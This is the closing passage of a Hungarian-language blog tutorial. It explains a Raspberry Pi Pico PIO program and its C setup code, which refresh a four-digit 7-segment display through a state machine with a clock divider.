<p>Ez után egy nem blokkoló <code>pull</code> következik, ami a C program felől érkező adatokat teszi el az <code>osr</code>-be (Output Shift Register, a GPIO felé menő adatok). A nem blokkoló <code>pull</code> egyik kellemes tulajdonsága, hogy ha nem jött adat, akkor az <code>x</code> regiszter tartalmát fogja az <code>osr</code>-be átmásolni. Így meg is van oldva az, hogy ha nincs új adat, akkor továbbra is a régit jelenítjük meg.</p>
<p>Ez után már csak kétszer 14 bitnyi adatot fogunk kitolni a pin-ekre. Az első <code>out</code> végén lévő <code>[5]</code> egy 5 utasításnyi késleltetés, így a kijelző szemszögéből nézve mindkét <code>out</code> után van 5 utasításnyi szünet.</p>
<p>A végeredmény az lesz, hogy felváltva szed ki az <code>x</code> és <code>y</code> regiszterekből kétszer 14 bitnyi adatot, valamint felváltva frissíti a regiszterek tartalmát az új bejövő adatokkal.</p>
<p>Természetesen ehhez a PIO programhoz is tartozik egy beállító függvényke, ami majdnem teljesen megegyezik az előző programunkhoz tartozóval.</p>
<pre class="file"><code>advanced_pio.pio
</code></pre>
<pre><code class="hljs arduino">% c-sdk {
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"hardware/clocks.h"</span></span>

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">inline</span> <span class="hljs-keyword">void</span> <span class="hljs-title">advanced_pio_program_init</span><span class="hljs-params">(PIO pio, uint sm, uint offset, uint pin)</span> </span>{
  pio_sm_config <span class="hljs-built_in">config</span> = advanced_pio_program_get_default_config(offset);

  sm_config_set_out_pins(&amp;<span class="hljs-built_in">config</span>, pin, advanced_pio_pin_count);

  <span class="hljs-keyword">float</span> clock_divider = (<span class="hljs-keyword">float</span>) clock_get_hz(clk_sys) / <span class="hljs-number">2000000</span>;
  sm_config_set_clkdiv(&amp;<span class="hljs-built_in">config</span>, clock_divider);

  <span class="hljs-keyword">for</span> (uint i = <span class="hljs-number">0</span>; i &lt; advanced_pio_pin_count; ++i) {
    pio_gpio_init(pio, pin + i);
  }
  pio_sm_set_consecutive_pindirs(pio, sm, pin, advanced_pio_pin_count, <span class="hljs-literal">true</span>);

  pio_sm_init(pio, sm, offset, &amp;<span class="hljs-built_in">config</span>);
  pio_sm_set_enabled(pio, sm, <span class="hljs-literal">true</span>);
}
%}
</code></pre>
<p>Az egyetlen különbség, hogy a <code>sm_config_set_clkdiv</code> segítségével lelassítjuk az állapotgép futását, hogy a kijelző számai megfelelő ütemben frissüljenek.</p>
<pre class="file"><code>advanced_pio.c
</code></pre>
<pre><code class="hljs arduino">pio_sm_put(pio, sm, ((com_1|one) &lt;&lt; advanced_pio_pin_count) | com_2|two);
pio_sm_put(pio, sm, ((com_3|three) &lt;&lt; advanced_pio_pin_count) | com_4|four);

<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  sleep_ms(<span class="hljs-number">1000</span>);
}
</code></pre>
<p>A C programunk nagy része ugyanaz marad, mint az előző példa, csak a végtelen ciklus környékén változtatunk egy kicsit. A PIO programnak csak egyszer küldjük át az adatokat, onnantól bármit csinálhatunk a C programban, a kijelzőn a megfelelő érték fog megjelenni. És ez a kód is megtalálható <a href="https://github.com/deadlime/pico-7-segment-display/tree/main/3_advanced-pio">Github</a>-on.</p>

]]></content:encoded>
        </item>
        </channel>
</rss>
